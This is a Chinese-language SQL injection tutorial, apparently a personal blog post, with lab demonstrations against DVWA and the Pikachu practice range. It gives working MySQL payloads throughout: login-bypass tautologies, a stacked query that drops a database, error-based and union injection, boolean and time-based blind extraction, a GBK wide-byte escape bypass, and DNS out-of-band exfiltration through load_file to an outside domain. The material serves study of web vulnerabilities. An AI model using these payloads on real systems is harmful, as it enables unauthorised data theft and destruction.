SQL注入原理与信息获取及常规攻击思路靶场实现

SQL注入原理与信息获取及常规攻击思路靶场实现

很早的时候就写了,权当备份吧

Web程序三层架构

在这里插入图片描述

表示层 :与用户交互的界面 , 用于接收用户输入和显示处理后用户需要的数据
业务逻辑层 :表示层和数据库访问层之间的桥梁 , 实现业务逻辑 ,验证、计算、业务规则等等
数据访问层 :与数据库打交道 , 主要实现对数据的增、删、改、查

而SQL注入恰好是发生在与数据库交互的过程中,精心构造的语句通过逃避业务逻辑层的筛选,再经过后端的拼接形成恶意的SQL语句,以达到恶意入侵的目的,但是由于每个网站的数据访问层逻辑差异,我们需要对对应语句格式进行猜测,进行试错

SQL注入漏洞原理

SQL注入的产生是由于服务器在处理SQL语句时错误地拼接用户的提交参数,打破原有的SQL执行逻辑,导致攻击者可以部分或完全掌控SQL语句的执行效果,只要我们能在注入位置构造正确闭合,就可以利用SQL注入攻击目标

SQL注入的威胁来自于欺骗:

  • 攻击者欺骗服务器,使服务器认为自己是普通用户
  • 攻击者提交恶意参数欺骗服务器,让服务器认为是正常的参数

SQL注入是怎么发生的,我们下面我们来看个例子:

假如一个网站在用户登录时,传递参数 idpasswd ,那么后端将会在数据库中查找有关内容,即拼接sql语句,我们就可以猜测,在数据访问层可能进行了如下操作(注意此时我们假设后端未作传参限制)

select ... from ... where id and passwd

那么我们接下来的想法就很简单,如果我们已经知道一个id,或者只想获取这一个用户的数据,那么只要想办法将目标的passwd参数失效即可,而让参数失效,将它注释掉将是最好的选择,则构造以下语句:

select ... from ... where id = '已知id'  -- ' and passwd = ''

然后你会发现 最后的passwd被注释掉了,因为我们假设后端未作传参限制,则我们直接在用户id输入处输入以下内容即可 已知id' -- ,当id后面的单引号与后端拼接时加上的单引号构成一对时(SQL语句用单引号表示字符串),SQL语句中会认为第一个参数id已经结束,后面读取到--及其后面的空格时,它会认为passwd已被注释掉了,即passwd不起作用,实际进入数据库的语句如下:

select ... from ... where id = '已知id'

需要注意的是--后面必须要有空格才能生效(SQL语法的规则),如果说我们不知道id,也不知道密码,又应该如何构造呢,前文提到,where后面我们可以认为是一个逻辑表达式,那么只要保证它是一个重言式即可,可以如下构造:

select ... from ... where id = ''or 1=1 -- ' and passwd = ''

可以注意到 id里面实际上是没有参数的,而or 1=1 -- 恰好将passwd注释掉,将where后面的有效部分形成了一个重言式,实际进入数据库的语句如下:

select ... from ... where id=''or 1=1

此时如果后端也没有对返回数据做出限制,那么我们将直接在前端看到我们想要获取到的数据

同时我们甚至还可以利用SQL语句的多句执行特性构造出以下语句(假设我们通过其他手段得知数据库名,或关键字段)

select ... from ... where id = ''or 1=1; drop database user -- ' and passwd = ''

实际传入数据库为

select ... from ... where id = ''or 1=1;
drop database user ;

我们将直接干掉该网站的名为user的数据库,但是部分数据库不支持多语句执行,需要注意

SQL注入攻击分类

SQL注入攻击通常可以分为以下几种分类:

  1. 基于错误的注入(Error-based Injection):利用SQL语法错误或异常来获取数据库中的信息,比如通过构造一个错误的查询来获取数据库错误信息。
  2. 基于盲注的注入(Blind Injection):攻击者无法直接获取查询结果,但可以通过不同的方式,如延时注入(通过延长查询执行时间来判断条件真假)、布尔盲注(通过真假条件来判断条件真假)等方法来获取数据库信息。
  3. 联合查询注入(Union Query Injection):利用UNION关键字将攻击者构造的查询结果与原始查询结果合并返回,从而获取数据库中的信息。
  4. 时间盲注(Time-Based Blind Injection):通过构造恶意的SQL语句,使得数据库在执行时产生延时,从而判断条件真假。
  5. 堆叠查询注入(Stacked Query Injection):在一次数据库查询中执行多个SQL语句,从而绕过输入过滤和限制,执行恶意操作。
  6. 二次注入(Second-order Injection):攻击者利用应用程序在处理用户输入时未充分检查的漏洞,将恶意代码存储在数据库中,当后续处理这些数据时再次执行,从而实现注入攻击。

至于其他的注入分类则是依据注入的位置(注入点)不同而分类的

检测SQL注入位置

对于计算机程序来说,SQL注入无非就是用户输入的内容存在差别,那么按注入时输入的内容来看,无非就是数字类型与字符型类型,我认为不应该纠结于注入的分类,只需要注意一些可能出现注入的点即可,我们只需要知道,凡是用户可以进行数据提交,并且数据可能存储进数据库的点,均有可能发生SQL注入,就可以我们通常会以以下两种形式进行初步测试:

  • 拼接单引号等不闭合字符:
select ... from ... where xxx=xxx'
  • 拼接永真式与永假式联合检测:
select ... from ... where xxx=xxx and 1=1
select ... from ... where xxx=xxx and 1=2

还有一种较为隐蔽的注入检测,但是仅能作为低风险提示,部分数据库在运算时执行较大数学运算时会出现整数溢出问题,如较低版本的MySQL,我们在MySQL执行:select 99999999999999999999+21

MySQL抛出以下错误:BIGINT value is out of range in ‘99999999999999999999+21’

MySQL数据库的系统表

对于SQL注入,我们的主要目的是为了获取信息,所以我们必须先了解每种数据库的系统表所具有的内容,以快速获取信息:

系统库的作用及描述

  1. information_schema: information_schema 是一个系统数据库,包含了关于数据库服务器的元数据信息。它存储了关于数据库、表、列、索引、权限等方面的信息。information_schema 可以用于查询数据库结构、权限信息和其他数据库对象的详细信息。
  2. mysql: mysql 数据库包含了MySQL服务器的配置和授权信息。它存储了用户、权限、角色、密码等数据,用于身份验证和访问控制。通过 mysql 数据库,可以管理MySQL的用户和授权。
  3. performance_schema: performance_schema 是一个用于性能监测和分析的系统数据库。它提供了关于MySQL服务器性能的详细信息,包括查询执行、锁定、资源消耗等方面的数据。performance_schema 可用于分析和优化MySQL的性能。
  4. sys: sys 是MySQL 8.0版本引入的数据库,旨在提供更方便的性能分析和诊断工具。它建立在 performance_schema 和其他信息基础上,提供了一组存储过程和视图,以便更轻松地分析和理解MySQL的性能数据。

information_schema

在利用漏洞时,我们常常利用此数据库中以下元数据表:

表名描述
TABLES用于查找数据库中存在的表格信息,包括表名和存储引擎等。
COLUMNS用于查找表格的列信息,包括列名、数据类型等。
KEY_COLUMN_USAGE用于查找表格的外键和主键信息,可以帮助黑客了解数据库表格之间的关系。
TABLE_CONSTRAINTS用于查找表格级别的约束信息,包括主键、外键等约束。
VIEWS用于查找视图的信息,包括视图名、定义等。
ROUTINES用于查找存储过程和函数的信息,包括名称、参数等。
SCHEMATA用于查找数据库中的模式(schema)信息,包括数据库名等。

系统元数据库mysql

表名描述
user存储MySQL服务器的用户账户信息,包括用户名、密码、主机等。
db存储授权信息,指定哪个用户有权访问哪个数据库。
tables_priv存储表级别的权限信息,指定哪个用户对哪个表有特定权限。
columns_priv存储列级别的权限信息,指定哪个用户对哪个表的哪些列有特定权限。
procs_priv存储存储过程和函数的权限信息。
host存储允许连接到MySQL服务器的主机信息。
global_priv存储全局权限信息,指定哪个用户具有特定的全局权限。
func存储MySQL的内置和用户定义的函数信息。
time_zone存储时区信息。
time_zone_name存储时区名称信息。

报错注入原理

  • updatexml报错

updatexml函数用于更新xml文档内容,updatexml函数有三个参数:第一个参数是xml文档的对象名称,第二个参数是**xpath字符串**,第三个参数是用来替换xpath中查找到字符串的新内容,但是该函数有个特性,他会执行我们插入在xpath中的SQL字段,其中updatexml中的xml文档名称在注入时一般可以乱写,只要让它报错即可,并且支持回显示例用法如下:

select ... from ...  where ... and updatexml(... ,concat(0x3e,[函数或语句]), ...)

示例updatexml构造:

select ... from ... where id='' and passwd=''  

对于以上语句,我们可以在id处构造如下语句:' or updatexml(1,concat(0x3e,version()),1) -- 最后加个空格,形成:

select ... from ... where id='' or updatexml(1,concat(0x3e,version()),1) -- ' and passwd=''  

将返回报错语句:XPATH syntax error: '>[版本号]'

  • extractvalue报错

extractvalue用于查找xml文档中的内容

extractvalue函数有两个参数:第一个参数是xml对象名称,第二个是**xpath字符串**,它与updatexml具有相似的特性这里不做过多赘述,我们一样可以如上构造:

select ... from ...  where ... and extractvalue(... ,concat(0x3e,[函数或语句]))
select ... from ... where id=''or extractvalue(1,concat(0x3e,version())) -- ' and passwd=''  

你可能注意到了,我们在对应的xpath字符串位置使用了concat(0x3e,[函数或语句])的形式,在我们想要的语句前拼接了一个16进制的ascii码,这是因为我们为了使xpath处报错,使用了非标准的xpath路径,为了使报错信息完整,故我们使用了这一方法,要获取其他字符的16进制ascii码可使用python:

print(hex(ord(字符)))快速获取

  • floor函数报错

floor(N)函数用于返回小于等于N的一个最大整数,floor(13.5)返回13

count()函数用于统计行数,通常有count(*),count(1),count(列名),其中前两者统计时会将数据为NULL值算入,而count(列名)不会算入NULL

rand()函数用于返回一个伪随机值(浮点型):rand()函数括号中可以带有一个初始值,我们称之为种子,当不携带种子时rand()将返回一个0-1间的随机值,携带种子后,将会返回一个固定的随机序列

floor(i + rand() *(j − i))两者嵌套使用,将返回一个ni <= n < j,注入时我们利用的是多次运行这个语段所产生的随机数列

group by用来筛选出其后跟上的条件符合的数据,并且进行分组,它在分组时会产生一张表,用于储存数据(可以暂时理解成一张临时数据表),并且表在查询写入是两个过程,先查询后写入

floor报错注入正是利用这个特性,在语句中嵌入特定floorrand语句,达到多次计算产生0101011的随机数列,于是我们有以下测试语句:

select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x)as y;

对于实际情况有以下构造:

' or (select 1 from (select count(*),concat(version(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x)as y) #

在此语句中,我们构造了两个嵌套的select语句,原因是group by产生的是一张数据表,当我们注入时,数据库服务器的查询语句筛选的特定的某个条件,而不是将一张表作为条件,所以我们进行嵌套,返回表中的数据

使用count用来进行数量统计产生表中的数据,利用它与group by将有相同特征数据合并的特性,保证每个不同特征的键值唯一

重点:floor(0+rand()*2)会产生0与1的随机数,在产生表时的查询过程中运算一次,写入过程中又运行一次,产生固定序列011011011则会有以下效果(为叙述方便暂时忽略拼接的version函数):

  • 若第一次产生0,表中无数据,直接记录。

  • 第二次产生1,查询有无1,要将它进行计数,并且写入表,写入表时产生1,正常进行,count计数

  • 第三次产生0,查询有0,写入时产生1,此时产生冲突,数据库会默认保存1的数据,在新的行中

此时新的列表中有以下内容:

KEYCOUNT
01
11
12

全过程总共5次计算,可以看出数据库里至少要有三条数据,才能成功,否则查找终止不会产生冲突键值

UNION注入原理

利用select 1,2,3...进行试探

在注入过程中,我们通常不知道前端与后端的交互会过滤掉哪些字符,我们可以用select 1,2,3 ...来试探,在第二个select语句中的数字是任意的,可重复,可乱序,数量可变,如果仅仅使用select 1,2,3将返回一张1行3列的表,并且表名和数据名全是我们select中的数字,我们可以通过对应的数字的缺位来判断返回的字段数

  • union语法

union用于合并两个以上语句的搜索结果作为数据集,但是union中的select语句必须有相同的列,并且每列的数据类型必须一致,但是union语句所形成的数据集不会有重复内容,如果要显示重复数据,需要使用union all,通常我们使用以下语句:

select ... from ...
union
select 1,2,3,4 ...
select ... from ...
union all
select 1,2,3,4 ...
  • 进行注入

union注入一般用于检测出注入位置查询了几个参数,我们以dvwa为例,构筑语句:

select ... from ... where ... union select 1  # xxxx

我们直接抓包修改参数id为:'union select 1 # 然后放包得到数据库查询参数不一致的回显

在这里插入图片描述

然后我们就依次进行反复尝试,增加查询数,在输入'union select 1,2 # 时得到:

在这里插入图片描述

可以发现,查找数据为两条,回显数据也是两条,为1,2位置,那么接下来就可以对两个位置进行尝试。

我们输入:'union select (select version()),2 #获得版本号(其他查询可自行尝试)

在这里插入图片描述

注意:union查询可以使用数字,字母或者null作为select后的试探字段,例如:

select ... from ... where ... union select 'a','b'  # xxxx
select ... from ... where ... union select null,null  # xxxx

我们在试探查询字段数时还有一种方法,我们可以如下进行构造:

select ... from ... where ... order by 1  # xxxx

当我们超过了查询字段数时,如在dvwa中输入 'order by 3 #,得到报错:

在这里插入图片描述

可以由此逐步推断出查询字段数为2,但是在使用union注入时,不能够在order by后面进行注入

布尔盲注原理

布尔盲注常见的就是and 1=1and 1=2or 1=1利用这些逻辑表达式将用于查询的SQL语句变为永真式或永假式以此来获取更多的数据,MySQL通常还有以下的注入方法:

运算Payload
异或1 xor 1=1
按位与& 1=1
&& 1=1
按位或| 1=1
|| 1=1

但是对于多数Web应用,1=1此类往往受到屏蔽,我们可以利用其他语句绕过:

运算Payload
大于1>2
小于1<2
大于等于4> =3
小于等于3<=2
不等于5<>5
不等于5!=5
兼容空值等于3<= >4

亦或者使用模糊查找:

运算Payload
在 … 和 … 之间5 is between 1 and 6
模糊匹配1 like 1
空值断言1 is null
非空断言1 is not null
正则匹配1 is regexp 1
数组查找1 in (1)
  • 利用布尔注入发起攻击

注意:布尔注入返回到的都只有真或假两种情况,要么永真式+and+payload,要么永假式+or+payload。只有尽可能转化为真或假两种情况,才能获取更多有用的信息

获取数据库的数目,我们在注入点后面拼接:

1 and (select count(*) from information_schema.schemata)>a   # a为数据库的数量估计数目

枚举获取第一个数据库的名称,我们进行拼接:

1 andselect ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>a
# a为猜测的ascii码值

首先使用mid函数,它有三个参数:mid(待查找字符串,起始字符位置,匹配的字符串长度),limit接收两个参数:limit(起始行的上一行,筛选行数目),则上述语句是对第一个数据库的第一个字符进行测试

获取指定数据库security表的数目:

1 andselect count(*) from information_schema.tables where table_schema='security')>a
# a为表的数量估计数目

同理猜测表名:

1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='security')>a 		# a为猜测的ascii码值

然后获取字段:

1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='security')>a		# a为字段的数量估计数目

猜测字段:

1 andselect ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>a
# a为猜测的ascii码值

以上就是常见的发起布尔注入攻击的方式,但是从上面的讲解可以发现,这种攻击会发起大量类似的请求,在进行防御时需要注意,下面介绍时间注入攻击也是如此

皮卡丘靶场布尔注入关卡,我们已知有一个用户kobe,我们就可以利用and拼接来进行布尔盲注:

kobe' and (length(database())=4)#

在这里插入图片描述

因为存在布尔注入,故在and后面的表达式为真时将返回kobe原有的信息,而在后面条件为假时将不会返回数据,接下来继续拼接测试:

kobe' and (length(database())=7)#

在这里插入图片描述

返回了kobe的信息,则数据库名的长度为7,我们继续测试数据库的名称

kobe' and ascii(mid(database(),1,1))<111#   

在这里插入图片描述

我们继续拼接:

kobe' and ascii(substr(database(),1,1))=112#

在这里插入图片描述

即数据库名的第一个字母的ASCII码值为112,为字母p

时间盲注原理

时间注入攻击利用的是数据库响应时间来进行攻击的一种方式,通常是利用数据中可以延长相应时间的函数来实现,通常来讲只要网站响应时间大于设定的时间,即可认为存在时间盲注漏洞,但是部分网站会设置强制返回时间

注意:MySQL 的优化器在执行查询时会尝试优化查询计划,以提高查询性能。在这种情况下,MySQL 可能会在查询优化过程中预先计算 IF 函数的结果,因此不会真正触发 SLEEP 函数的延时操作。这是为了避免潜在的性能问题。所以直接在终端运行并不能达到延时的效果

  • 利用sleep函数盲注
1 and sleep(3)

sleep函数接收一个参数,其单位为秒

  • 利用benchmark
1 or benchmark(函数执行次数,运行的表达式)
1 and benchmark(函数执行次数,运行的表达式)

benchmark函数用于衡量数据库的性能指标,当运行次数足够多时,也会造成数据库缓慢响应,虽然benchmark函数的返回值总为0,但是在使用时仍会在执行对应次数后得到返回值

  • 笛卡尔积延时
select * from1,2

数据库在查询两张表时,遵循将结果以离散数学中的笛卡尔积方式进行合并成一张结果表,只要两张表的数据结果合并后足够大,也可以造成响应时间延长

  • 特殊:数据库与网站长连接情况下的锁定盲注
select get_lock('锁名',超时时间)

get_lock函数用于向MySQL请求一个锁,如果在超时时间内获取到锁,将会立即返回1,否则将在超时时间后返回0,在满足长连接的条件下,我们在第一个会话中使用该语句select get_lock('test',1),请求一个锁在1秒内返回,获取成功后,我们再新建一个与网站的会话中使用select get_lock('test',5),获取一个和前一个会话中同名的锁,此时由于前一个会话占用了该锁,则此时第二会话中的获取必然是失败的,即数据库响应时间延长(如果第一会话中直接获取失败该锁(有可能恰好其他会话占用该锁,虽概率极小),可修改超时时间继续测试(后续该锁可能会由于其他会话结束而释放,故多测试几次),倘若仍然成立则可以直接判定存在时间盲注漏洞

利用时间盲注发起攻击

我们利用if函数进行攻击(这里仅以sleep进行演示猜测当前数据库名):

1 and if (ascii(mid(database(),1,1))=a,sleep(3),1)	# a为猜测的数据库名第一个字母的ascii码值

if函数接收三个参数:if(条件语句,为真返回,为假返回),此语句表示当ascii(mid(database(),1,1))=a成立时数据库执行sleep(3),我们在输入框中拼接:

' or (if(ascii(mid(database(),1,1))>111,sleep(3),1))#

在这里插入图片描述

发现十分明显的延时,即数据库名的的第一个字母ASCII码值大于111

DNS外带注入

dns外带注入属于一种较为特殊的注入手段,它是将查询的结果通过其他通道带出来的操作方式,但是此注入需要有一定的条件:数据库服务器必须是windows平台,mysql的secure_file_priv必须允许导入导出操作

在 MySQL 数据库中,secure_file_priv 是一个配置选项,用于指定允许从哪个目录加载或保存文件。这个选项可以帮助增强数据库的安全性,限制了从数据库服务器上可以访问的文件的范围。这主要用于防止未经授权的访问或滥用,例如防止用户将恶意文件加载到数据库服务器上。

以下是 secure_file_priv 配置选项的释义:

  • 如果 secure_file_priv 被设置为一个目录路径,例如:/var/lib/mysql-files/,那么 MySQL 只允许从这个目录加载或保存文件。这意味着在查询中使用 LOAD DATA INFILESELECT ... INTO OUTFILE 等语句时,只能从指定目录读取或保存文件。
  • 如果 secure_file_priv 被设置为一个空字符串,则 MySQL 允许从任何位置加载或保存文件,这可能会增加数据库的安全风险,因为用户可以访问服务器上的任何文件。

通过设置适当的 secure_file_priv 值,数据库管理员可以更好地控制数据库服务器上文件的访问权限,从而减少潜在的安全风险。例如,可以将 secure_file_priv 设置为一个特定的目录,仅允许用户在这个目录中加载或保存文件,从而限制了潜在的安全漏洞。

注意:在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,配置文件中不会出现该条目,需要自行添加,运行以下语句查看:

show global variables like '%secure%';

我使用的是5.7.26,默认情况下为NULL:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         | NULL  |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)

在MySQL的配置文件中增加secure_file_priv=后重启MySQL:

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         |       |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)

load_file使用

LOAD_FILE 是 MySQL 中的一个函数,用于从文件系统中加载文件的内容并将其作为字符串返回。这个函数的一般语法如下:

LOAD_FILE(file_name)
  • file_name: 指定要加载的文件的路径和名称。

请注意以下几点:

  1. 权限: MySQL服务器必须具有文件读取权限,否则 LOAD_FILE 函数可能会返回 NULL 或抛出错误。具体来说,MySQL进程的操作系统用户需要有访问该文件的权限。
  2. 路径: 如果提供的文件名是绝对路径,MySQL会尝试从该路径读取文件。如果是相对路径,MySQL会从其数据目录开始搜索文件。并且路径使用正斜杠/
  3. 返回值: 如果成功读取文件,LOAD_FILE 返回文件的内容作为字符串;否则返回 NULL

例如,假设你有一个名为 example.txt 的文件,它位于MySQL数据目录下的 files 子目录中,可以使用以下语句加载该文件:

SELECT LOAD_FILE('files/example.txt') AS file_content;

数据目录路径

在MySQL的配置文件中有一项(以phpstudy展示):

datadir=D:/PhpStudy/Extensions/MySQL5.7.26/data/

load_file在允许下默认读取该目录,比如我在其中放一个flag.txt文件然后读取:

mysql> select load_file('./flag.txt');
+------------------------------+
| load_file('./flag.txt')      |
+------------------------------+
| flag={'this is a flag file'} |
+------------------------------+
1 row in set (0.00 sec)

DNS注入检测

我们在注入点拼接:

select load_file('\\\\域名\\共享路径')		# 书写时注意路径中的\转义

此处使用的是Windows下的UNC语法,UNC(Universal Naming Convention)是一种用于标识和访问网络资源的命名约定。它通常用于指定共享文件夹、打印机和其他网络设备的路径。UNC路径提供了一种统一的方式来标识网络上的资源,无论这些资源位于哪台计算机上。

UNC路径的基本语法如下:

\\server\share\path\filename
  • \\server:表示网络上的服务器名称或IP地址。它指定了资源所在的计算机。
  • share:表示共享资源的名称,如共享文件夹或打印机共享的名称。
  • path:表示共享资源内的路径,即文件夹层次结构。可以是一个或多个文件夹名称,用反斜杠 \ 分隔。
  • filename:表示文件名或目标资源的名称。

以下是一些示例UNC路径:

  • \\server\share:表示访问位于 server 计算机上名为 share 的共享资源的根目录。
  • \\192.168.0.100\share\documents:表示通过IP地址访问位于 192.168.0.100 计算机上名为 share 的共享资源中的 documents 文件夹。
  • \\fileserver\shared\files\report.docx:表示访问位于 fileserver 计算机上名为 shared 的共享资源中的 files 文件夹中的 report.docx 文件。

UNC路径在网络环境中广泛使用,可用于访问共享文件夹、打印机、网络存储设备等。它提供了一种统一的命名约定,使得在网络上定位和访问资源变得更加方便和可靠。

当上述语句执行后,存在漏洞则会在目标域名的DNS服务器上收到一条解析记录,不过需要注意的是在使用域名时,域名最好尽量生僻,减少无辜用户解析到目标主机,降低干扰

这种不通过直接观察页面来实现的注入,又称盲打技术,除去DNS请求外,HTTP,RMI等等也被常用来进行注入

利用DNS注入发起攻击

首先我们应该注意域名的编码和长度限制问题,我们可以使用最常见的HEX编码我们的域名

域名对字符的限制包括以下几个方面:

  1. 字符集限制:域名只能使用ASCII字符集,包括字母(a-z,不区分大小写)、数字(0-9)和连字符(-)。

  2. 字符长度限制:域名的总长度限制为63个字符。这个长度不包括顶级域名(如.com、.net等)部分。

  3. 标签长度限制:域名由多个标签(Label)组成,标签之间使用点号(.)分隔。每个标签的长度限制为63个字符。

  4. 首尾字符限制:域名的标签不能以连字符(-)开头或结尾。

  5. 大小写不敏感:域名在解析时是大小写不敏感的,即www.example.comWWW.EXAMPLE.COM被视为相同的域名。

利用DNS注入发起攻击

我们可以将如下语句进行拼接:

select load_file(concat('\\\\',(注入语句),'域名及共享名/路径'))		# 通常进行DNS注入利用点即域名前的部分

例如我们要获取当前数据库的名称:

select load_file(concat('\\\\',(select database()),'test.com/path'))

HTTP报文注入

当数据库需要记录HTTP报文中user-agentgetpostcookie等字段时未作出严格过滤的情况下,将会出现此类注入。所谓的GET注入,POST注入,Cookie注入,Referer注入,User-Agent注入等就是依据发生注入的位置(注点)不同而分类。由于HTTP报文本身是为了更好的传递数据,所以在它的任何位置都有可能出现注入,下面我们以皮卡丘靶场演示(注意语句不能够过长,超出限定范围,故此处不做过多演示,仅获取数据库版本信息),在提示中获取正确的用户名和密码,然后我们登录得知数据库记录了以下信息:

在这里插入图片描述

接下来使用burp找到对应的数据报进行测试(一般来讲此类注入多为insert或者update注入),我们在user-agent字段修改,并且得到以下报错结果:

test' or extractvalue(1,concat(0x3e,version())) or '      # 使用典型的insert注入

在这里插入图片描述

SQL动词注入

所谓的SQL动词注入实际上是指的注入时SQL语句所采取的行为,如插入查询语句的select注入,更新数据的update注入,插入新数据的insert注入,删除数据的delete注入,其中后三者通常使用报错注入的方式进行(有时也可采取时间盲注)。

  • insert注入与update注入演示

我们先来看一条正常的insert语句结构和示例:

insert into 表名(字段1,字段2,字段3, ...) values (数据1,数据2,数据3, ...);
insert into users (id, username, email) values (1, 'user1', 'user1@example.com');     # 语句示例

用户的输入一般集中在values后的值当中,我们在此处通常使用or来形成闭合,让该语句在进入数据库管理软件执行时报错:

insert into users (id, username, email) values (1, 'or 报错语句 or', 'user1@example.com');

下面我们直接在皮卡丘靶场演示,随便填写数据,然后抓包,我们在username进行拼接:

' or extractvalue(1,concat(0x3e,version())) or '

在这里插入图片描述

接下来我们建立一个正常账户测试我们的update注入:

在这里插入图片描述

点击修改信息,随便填一些信息然后抓包,对性别处进行注入,放出该修改后的数据包,得到应答:

在这里插入图片描述

  • delete注入

我们先看正常的delete语句:

delete from 表名 where 筛选条件;

由于delete是一种对符合条件的筛选删除操作,所以我们不能够在其后方执行除报错语句之外的查询语句,下面我们直接以皮卡丘靶场演示,进入对应模块,点击删除进行抓包,发现每次删除提交的id不一样,故我们选择在id处进行拼接:

在这里插入图片描述

我们对其进行拼接,然后因为是GET类型处拼接,我们需要对URL进行编码,放出数据包:

在这里插入图片描述

注意,在进行SQL动词注入时,需注意对应的字段长度限制,当超出字段长度,mysql将会抛出截断异常

SQL位置注入

实质上与上面的注入是类似的,无非就是构造的注点位置不同

  • 条件注入(发生在where处的注入)

在where后面通常跟随的是逻辑判断语句,故直接查询的方式的方式很少,通常是利用报错注入或时间盲注进行实现:

 select * from 表名 where 1=1 and (select updatexml(1,concat(0x7e,version()),1) );                 # 在后面使用and或or拼接语句select * from  表名 where 1=1 and (if(ascii(mid(database(),1,1))> ascii码值 ,sleep(3),1));
  • order by注入

和where类似但是更加局限

select * from 表名 order by id,if(ascii(mid(database(),1,1))> ascii码值 ,sleep(3),1);
select * from 表名 order by id,1 and updatexml(1,concat(0x7e,version()),1);
  • 数字型注入(整型注入)

由于数字不需要闭合,则可以直接构造:

select ... from ... where id=1 or 1=1
  • 字符型注入

需要闭合参数后的引号:

select ... from ... where id='xx' or 1=1'';   # 在正常语句中拼接了xx' or 1=1 '
select ... from ... where id='xx' or 1=1 #
  • 搜索型注入
select ... from ... where 参数 like '%待匹配值%';        # 这是一条正常的查询语句

我们对于搜索类语句,我们需要构造的是待匹配值的部分:

select ... from ... where 参数 like '%xx%' or 1=1 '%'; 		# 在正常语句中拼接了xx%' or 1=1 '
select ... from ... where 参数 like '%xx%' or 1=1 #; 

在皮卡丘靶场的搜索型注入关卡执行结果如下:

在这里插入图片描述

  • in注入

正常的sql语句:

select ... from ... where 参数 in(....)

构造闭合:

select ... from ... where 参数 in(1,2,3) and (1)=(1);			# 构造了闭合 3) and (1)=(1
select ... from ... where 参数 in('1','2','3') and ('1')=('1');		# 构造了闭合 '3') and ('1')=('1'

以皮卡丘靶场xx注入关卡示例,先构造payload:

3') or ('1')=('1

然后构造放包:

在这里插入图片描述

所谓的万能密码其实和上面类似。实际上就是构造闭合为永真式,在提到皮卡丘靶场的字符型关卡时,我们构造了:

select ... from ... ... id='' or 1=1 #...

这实际上就是一种类似于万能密码的东西,在早期网站中,我们经常构造如下语句:

select ... from ... ... username='admin' and passwd='a' or 'a'='a';

可以看出本质上还是一样的,下面写几个常见万能密码:

序号描述
1a’ or ‘a’='a
2a’ or 1#
3a"or"a"="a
4123 or 1
5a"'or"‘a"’="'a
6‘or’
7&mo#

&mo#的产生:早期一部分网站开发人员开始对数据库存储的管理员密码进行加密,被称为“admin5 加密”,也叫“ASCII逐位加密”。这种加密算法类似于恺撒密码,是一种对称加密算法。加密过程是对密码的第一位 ASCII 码加 1,第二位 ASCⅡ码加2…第n位ASCⅡ码加n。那么,对于“admin”这样的字段,经过加密后就变为“bfpms”了。
  对于使用这种方法加密的网站,用户提交的密码会经过 admin5 加密,再代入 SQL 语句中查询。攻击者可以反向推导, 提交一个这样的密码:“&mo#”。经过 admin5 加密以后,变成了“‘or’”,最后进入数据库语句中。

SELECT * FROM users WHERE username='admin' and password=''or''

值得一提的是,现在的密码大多数以哈希等算法加密,考虑用户名处拼接也是个不错的选择

宽字节编码注入

在处理用户输入字符串时,通常会将输入中的字符进行转义,将预定义字符(预定义字符包括:单引号、双引号、反斜杠、NULL)之前添加反斜杠进行转义,并返回处理完毕后的字符串。这样构造普通的sql语句就不能够注入了,但是我们可以借助MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围)从而绕过转义

\转义为例,我们输入一个常规的字符型注入语句构造:

select ... from ... where id='xx' or 1=1 #' ...

那么转义后则:

select ... from ... where id='xx\' or 1=1 #' ...

可以发现我们构造的字符串失效了,接下来我们尝试宽字节注入

  • 构造宽字节注入

GBK编码是一种中文字符集编码方式,它是在GB2312编码基础上的扩展。GBK编码可以表示全部的中文字符,包括简体字和繁体字,并且还包括了一些其他国家的字符,如日文、韩文等。

GBK编码使用2个字节来表示一个字符,其中第一个字节的范围是0x81-0xFE,第二个字节的范围是0x40-0xFE。GBK编码的字符集共收录了21886个汉字和图形符号,其中包含了6763个简体汉字和682个繁体汉字。

GBK编码在计算机领域广泛使用,尤其是在中国大陆和台湾地区。它不仅可以满足中文字符的需求,还可以兼容ASCII编码,因此可以在同一个文本中同时包含英文、数字和中文字符。

我们可以在可能转义的地方嵌入一些可以构成gbk编码条件的特殊字符串,那么什么样的字符串是这样的字符串呢,我们可以输入一些常用的字符串,运行下列脚本:

# 输入一个普通字符串
string = input("输入字符串:")# 将字符串以GBK编码方式转换为字节序列
byte_sequence = string.encode('gbk')# 遍历字节序列,以"%xx"形式输出
output = ""
for byte in byte_sequence:output += "%{:02X}".format(byte)print("输出字符串:", output)

测试后输入\,可知其为%5C,我们常见的构造则是利用%df来进行构造,我们可以用python来看一下输出的结果:

import urllib.parse# 定义一个"%xx"形式的字符串
encoded_string = input("输入字符串:").upper()# 将"%xx"形式的字符串转换为普通字符串
decoded_string = urllib.parse.unquote(encoded_string, encoding='gbk')print("输出字符串:", decoded_string)

得到运行结果:

输入字符串:%df\
输出字符串: 運

则当我们加入sql语句后则为:

select ... from ... where id='xx%df\' or 1=1 #' ...     # 由于%df\是一个字符使得此处的转义失去了作用

我们以靶场演示,在皮卡丘靶场的宽字节注入处抓包写入,这里需要注意宽字节的URL编码问题,直接编码会导致注入不成功:

%df\'+or+1%3d1+%23

在这里插入图片描述

%df\的拼接字符在其他的编码中的编码表:

GBK十进制:57180 GBK十六进制:DF5C Unicode十进制:36939 Unicode十六进制:904B

数据库二次注入

所谓的二次注入发生在先将数据存储进数据库,然后再将数据取出带入SQL语句查询。这种漏洞实际情况下很难发现,一般是白盒审计得出,下面我们详细论述这一过程:

  1. 数据库收到我们传入的xx',然后将其转义为xx\',然后存入数据库时,据大多数数据库会将数据还原为xx'存入
  2. 第二步需要一定条件,需要我们的框架有将数据再次取出查询这一行为,在查询时将可能发生以下语句:
select ... from ...... xx = 'xx'' ....;

